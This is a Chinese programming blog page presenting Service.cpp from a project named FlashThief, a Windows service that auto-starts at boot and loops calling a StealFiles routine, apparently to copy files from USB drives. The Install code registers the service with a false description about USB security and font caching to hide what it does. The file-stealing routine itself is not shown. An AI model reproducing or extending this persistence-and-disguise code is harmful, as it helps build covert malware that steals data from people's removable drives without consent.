VC 后台服务程序(二)


// Service.cpp: CService 类的实现。   

  1.    
  2. #include "stdafx.h"   
  3. #include "FlashThief.h"   
  4. #include "Service.h"   
  5.    
  6. CService _Module;   
  7.    
  8. CService::CService()   
  9. {   
  10.     m_bService = TRUE;   
  11.     m_dwThreadID = 0;   
  12. }   
  13.    
  14. CService::~CService()   
  15. {   
  16. }   
  17.    
  18. // 第一个参数是服务名称,第二个参数是服务的显示名称。   
  19. void CService::Init(LPCTSTR pServiceName, LPCTSTR pServiceDisplayedName)   
  20. {   
  21.     _tcscpy_s(m_szServiceName, 256, pServiceName);   
  22.     _tcscpy_s(m_szServiceDisplayedName, 256, pServiceDisplayedName);   
  23.    
  24.     // 设置初始服务状态   
  25.     m_hServiceStatus = NULL;   
  26.     m_status.dwServiceType = SERVICE_WIN32_OWN_PROCESS;   
  27.     m_status.dwCurrentState = SERVICE_STOPPED;   
  28.     // 设置服务可以使用的控制   
  29.     // 如果希望服务启动后不能停止,去掉SERVICE_ACCEPT_STOP   
  30.     // SERVICE_ACCEPT_PAUSE_CONTINUE是服务可以“暂停/继续”   
  31.     m_status.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_SHUTDOWN;   
  32.     m_status.dwWin32ExitCode = 0;   
  33.     m_status.dwServiceSpecificExitCode = 0;   
  34.     m_status.dwCheckPoint = 0;   
  35.     m_status.dwWaitHint = 0;   
  36. }   
  37.    
  38. void CService::Start()   
  39. {   
  40.     SERVICE_TABLE_ENTRY st[] =   
  41.     {   
  42.         { m_szServiceName, _ServiceMain },   
  43.         { NULL, NULL }   
  44.     };   
  45.     if (!::StartServiceCtrlDispatcher(st) && m_bService)   
  46.         m_bService = FALSE;   
  47.    
  48.     if (m_bService == FALSE)   
  49.         Run();   
  50. }   
  51.    
  52. void CService::ServiceMain()   
  53. {   
  54.     // 注册控制请求句柄   
  55.     m_status.dwCurrentState = SERVICE_START_PENDING;   
  56.     m_hServiceStatus = RegisterServiceCtrlHandler(m_szServiceName, _Handler);   
  57.     if (m_hServiceStatus == NULL) return;   
  58.     SetServiceStatus(SERVICE_START_PENDING);   
  59.    
  60.     m_status.dwWin32ExitCode = S_OK;   
  61.     m_status.dwCheckPoint = 0;   
  62.     m_status.dwWaitHint = 0;   
  63.    
  64.     // 当 Run 函数返回时,服务已经结束。   
  65.     Run();   
  66.    
  67.     SetServiceStatus(SERVICE_STOPPED);   
  68. }   
  69.    
  70. inline void CService::Handler(DWORD dwOpcode)   
  71. {   
  72.     switch (dwOpcode)   
  73.     {   
  74.     case SERVICE_CONTROL_STOP:   
  75.         SetServiceStatus(SERVICE_STOP_PENDING);   
  76.         StealStatus(STEAL_STOP_PENDING);   
  77.         PostThreadMessage(m_dwThreadID, WM_QUIT, NULL, NULL);   
  78.         break;   
  79.     case SERVICE_CONTROL_PAUSE:   
  80.         SetServiceStatus(SERVICE_PAUSE_PENDING);   
  81.         StealStatus(STEAL_PAUSE_PENDING);   
  82.         PostThreadMessage(m_dwThreadID, WM_STEAL_PAUSE, NULL, NULL);   
  83.         break;   
  84.     case SERVICE_CONTROL_CONTINUE:   
  85.         SetServiceStatus(SERVICE_CONTINUE_PENDING);   
  86.         StealStatus(STEAL_CONTINUE_PENDING);   
  87.         PostThreadMessage(m_dwThreadID, WM_STEAL_CONTINUE, NULL, NULL);   
  88.         break;   
  89.     case SERVICE_CONTROL_INTERROGATE:   
  90.         break;   
  91.     case SERVICE_CONTROL_SHUTDOWN:   
  92.         SetServiceStatus(SERVICE_STOP_PENDING);   
  93.         StealStatus(STEAL_STOP_PENDING);   
  94.         PostThreadMessage(m_dwThreadID, WM_QUIT, NULL, NULL);   
  95.         break;   
  96.     default:   
  97.         break;   
  98.     }   
  99. }   
  100.    
  101. void WINAPI CService::_ServiceMain(DWORD dwArgc, LPTSTR* lpszArgv)   
  102. {   
  103.     _Module.ServiceMain();   
  104. }   
  105. void WINAPI CService::_Handler(DWORD dwOpcode)   
  106. {   
  107.     _Module.Handler(dwOpcode);    
  108. }   
  109.    
  110. void CService::SetServiceStatus(DWORD dwState)   
  111. {   
  112.     m_status.dwCurrentState = dwState;   
  113.     ::SetServiceStatus(m_hServiceStatus, &m_status);   
  114. }   
  115.    
  116. int CService::StealStatus(int iState)   
  117. {   
  118.     if (iState != -1)   
  119.         _Thief.m_iStatus = iState;   
  120.    
  121.     return _Thief.m_iStatus;   
  122. }   
  123.    
  124. void CService::Run()   
  125. {   
  126.     m_dwThreadID = GetCurrentThreadId();   
  127.    
  128.     if (m_bService)   
  129.         SetServiceStatus(SERVICE_RUNNING);   
  130.    
  131.     HANDLE hThread = NULL;   
  132.     DWORD dwThreadId = 0;   
  133.    
  134.     hThread = CreateThread(NULL, 0, ThreadProc, this, 0, &dwThreadId);   
  135.     if (hThread == NULL)   
  136.         return;   
  137.    
  138.     MSG msg;   
  139.     BOOL bRet = FALSE;   
  140.    
  141.     while ((bRet = GetMessage(&msg, NULL, NULL, NULL)) != 0)   
  142.     {   
  143.         if (bRet == -1) break;   
  144.    
  145.         switch (msg.message)   
  146.         {   
  147.         case WM_STEAL_PAUSE:   
  148.             WaitForSingleObject(hThread, 60000 + _Thief.m_dwInterval);   
  149.             SetServiceStatus(SERVICE_PAUSED);   
  150.             break;   
  151.         case WM_STEAL_CONTINUE:   
  152.             if (StealStatus() == STEAL_STOPPED)   
  153.             {   
  154.                 CloseHandle(hThread);   
  155.                 hThread = CreateThread(NULL, 0, ThreadProc, this, 0, &dwThreadId);   
  156.             }   
  157.             if (hThread != NULL)   
  158.                 SetServiceStatus(SERVICE_RUNNING);   
  159.    
  160.             break;   
  161.         }   
  162.    
  163.         TranslateMessage(&msg);   
  164.         DispatchMessage(&msg);   
  165.     }   
  166.    
  167.     WaitForSingleObject(hThread, 30000 + _Thief.m_dwInterval);   
  168.    
  169.     CloseHandle(hThread);   
  170. }   
  171.    
  172. DWORD CService::ThreadProc(LPVOID lpParam)   
  173. {   
  174.     StealStatus(STEAL_RUNNING);   
  175.    
  176.     while (StealStatus() == STEAL_RUNNING)   
  177.     {   
  178.         _Thief.StealFiles();   
  179.         Sleep(_Thief.m_dwInterval);   
  180.     }   
  181.    
  182.     StealStatus(STEAL_STOPPED);   
  183.    
  184.     return 0;   
  185. }   
  186.    
  187. BOOL CService::Install()   
  188. {   
  189.     if (IsInstalled())   
  190.         return TRUE;   
  191.    
  192.     SC_HANDLE hSCM = ::OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);   
  193.     if (hSCM == NULL)   
  194.     {   
  195.         MessageBox(NULL, _T("无法打开服务管理器!"), m_szServiceName, MB_OK);   
  196.         return FALSE;   
  197.     }   
  198.    
  199.     // 获取可执行文件的路径   
  200.     TCHAR szFilePath[MAX_PATH];   
  201.     DWORD dwLen = GetModuleFileName(NULL, szFilePath, MAX_PATH);   
  202.    
  203.     if (_tcschr(szFilePath, ' ') != NULL)   
  204.     {   
  205.         dwLen += 3;   
  206.         LPWSTR lpFilePath = new TCHAR[dwLen];   
  207.         if (lpFilePath != NULL)   
  208.         {   
  209.             swprintf_s(lpFilePath, dwLen, _T("\"%s\""), szFilePath);   
  210.             _tcscpy_s(szFilePath, MAX_PATH, lpFilePath);   
  211.             delete []lpFilePath;   
  212.         }   
  213.     }   
  214.    
  215.     SC_HANDLE hService = ::CreateService(   
  216.         hSCM, m_szServiceName, m_szServiceDisplayedName,   
  217.         SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS,   
  218.         SERVICE_AUTO_START, SERVICE_ERROR_NORMAL,   
  219.         szFilePath, NULL, NULL, NULL, NULL, NULL);   
  220.    
  221.     if (hService == NULL)   
  222.     {   
  223.         ::CloseServiceHandle(hSCM);   
  224.         MessageBox(NULL, _T("无法创建服务!"), m_szServiceName, MB_OK);   
  225.         return FALSE;   
  226.     }   
  227.     else   
  228.     {   
  229.         TCHAR szDescription[256];   
  230.         SERVICE_DESCRIPTION sdBuf;   
  231.    
  232.         // 服务描述   
  233.         swprintf_s(szDescription, 256,    
  234.             _T("Provide USB security with %s applications by caching commonly used font data."),    
  235.             m_szServiceDisplayedName);   
  236.         sdBuf.lpDescription = szDescription;   
  237.    
  238.         ChangeServiceConfig2(hService, SERVICE_CONFIG_DESCRIPTION, &sdBuf);   
  239.     }   
  240.    
  241.     ::CloseServiceHandle(hService);   
  242.     ::CloseServiceHandle(hSCM);   
  243.     return TRUE;   
  244. }   
  245.    
  246. BOOL CService::Uninstall()   
  247. {   
  248.     if (!IsInstalled())   
  249.         return TRUE;   
  250.    
  251.     SC_HANDLE hSCM = ::OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);   
  252.    
  253.     if (hSCM == NULL)   
  254.     {   
  255.         MessageBox(NULL, _T("无法打开服务管理器!"), m_szServiceName, MB_OK);   
  256.         return FALSE;   
  257.     }   
  258.    
  259.     SC_HANDLE hService = ::OpenService(hSCM, m_szServiceName, SERVICE_STOP | DELETE);   
  260.    
  261.     if (hService == NULL)   
  262.     {   
  263.         ::CloseServiceHandle(hSCM);   
  264.         MessageBox(NULL, _T("无法打开服务以对其进行操作!"), m_szServiceName, MB_OK);   
  265.         return FALSE;   
  266.     }   
  267.     SERVICE_STATUS status;   
  268.     ::ControlService(hService, SERVICE_CONTROL_STOP, &status);   
  269.    
  270.     BOOL bDelete = ::DeleteService(hService);   
  271.     ::CloseServiceHandle(hService);   
  272.     ::CloseServiceHandle(hSCM);   
  273.    
  274.     if (bDelete)   
  275.     {   
  276.         RecurseDeleteKey(HKEY_LOCAL_MACHINE, CFG_REG_SUBKEY);   
  277.         return TRUE;   
  278.     }   
  279.    
  280.     MessageBox(NULL, _T("服务无法被删除!"), m_szServiceName, MB_OK);   
  281.     return FALSE;   
  282. }   
  283.    
  284. BOOL CService::IsInstalled()   
  285. {   
  286.     BOOL bResult = FALSE;   
  287.    
  288.     SC_HANDLE hSCM = ::OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);   
  289.    
  290.     if (hSCM != NULL)   
  291.     {   
  292.         SC_HANDLE hService = ::OpenService(hSCM, m_szServiceName, SERVICE_QUERY_CONFIG);   
  293.         if (hService != NULL)   
  294.         {   
  295.             bResult = TRUE;   
  296.             ::CloseServiceHandle(hService);   
  297.         }   
  298.         ::CloseServiceHandle(hSCM);   
  299.     }   
  300.     return bResult;   
  301. }   
  302.    
  303. // 删除注册表项   
  304. DWORD CService::RecurseDeleteKey(HKEY hkey, LPCTSTR pszSubKey)   
  305. {   
  306.     LPTSTR lpSubKey = NULL;   
  307.     LPTSTR lpSubKeyName = NULL;   
  308.     LPTSTR lpEnd = NULL;   
  309.     DWORD dwMaxSubKeyLen = 0;   
  310.     LONG lResult = -1;   
  311.     DWORD dwSize = 0;   
  312.     HKEY hKey = NULL;   
  313.     FILETIME ftWrite;   
  314.    
  315.     // 首先尝试删除项,如果删除失败则继续执行枚举删除   
  316.    
  317.     lResult = RegDeleteKey(hkey, pszSubKey);   
  318.     if (lResult == ERROR_SUCCESS)   
  319.         return ERROR_SUCCESS;   
  320.    
  321.     lResult = RegOpenKeyEx(hkey, pszSubKey, 0, KEY_READ, &hKey);   
  322.     if (lResult != ERROR_SUCCESS)   
  323.         return lResult;   
  324.    
  325.     // 检查要删除的项的路径结尾是否有“\”,没有则加上   
  326.    
  327.     lResult = RegQueryInfoKey(hKey, NULL, NULL, NULL, NULL, &dwMaxSubKeyLen, NULL, NULL, NULL, NULL, NULL, NULL);   
  328.     if (lResult != ERROR_SUCCESS)   
  329.         dwMaxSubKeyLen = 50;   
  330.    
  331.     dwSize = _tcslen(pszSubKey) + 2 + dwMaxSubKeyLen;   
  332.    
  333.     lpSubKey = new TCHAR[dwSize];   
  334.     if (lpSubKey == NULL)   
  335.         return -1;   
  336.    
  337.     lpSubKeyName = new TCHAR[dwMaxSubKeyLen + 1];   
  338.     if (lpSubKeyName == NULL)   
  339.         return -1;   
  340.    
  341.     _tcscpy_s(lpSubKey, dwSize, pszSubKey);   
  342.    
  343.     lpEnd = lpSubKey + _tcslen(lpSubKey);   
  344.     if (*(lpEnd - 1) != _T('\\'))    
  345.     {   
  346.         *lpEnd = _T('\\');   
  347.         lpEnd++;   
  348.         *lpEnd = _T('\0');   
  349.     }   
  350.    
  351.     // 枚举要删除的项下的子项递归删除   
  352.    
  353.     dwSize = dwMaxSubKeyLen + 1;   
  354.     lResult = RegEnumKeyEx(hKey, 0, lpSubKeyName, &dwSize, NULL, NULL, NULL, &ftWrite);   
  355.     if (lResult == ERROR_SUCCESS)   
  356.     {   
  357.         do {   
  358.             _tcscpy_s(lpEnd, dwMaxSubKeyLen + 1, lpSubKeyName);   
  359.             if (RecurseDeleteKey(hkey, lpSubKey) != ERROR_SUCCESS)   
  360.                 break;   
  361.    
  362.             dwSize = dwMaxSubKeyLen + 1;   
  363.             lResult = RegEnumKeyEx(hKey, 0, lpSubKeyName, &dwSize, NULL, NULL, NULL, &ftWrite);   
  364.         } while (lResult == ERROR_SUCCESS);   
  365.     }   
  366.    
  367.     lpEnd--;   
  368.     *lpEnd = _T('\0');   
  369.    
  370.     RegCloseKey(hKey);   
  371.    
  372.     // 最后再次尝试删除注册表的项   
  373.     lResult = RegDeleteKey(hkey, lpSubKey);   
  374.    
  375.     delete []lpSubKey;   
  376.     delete []lpSubKeyName;   
  377.    
  378.     return lResult;   

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值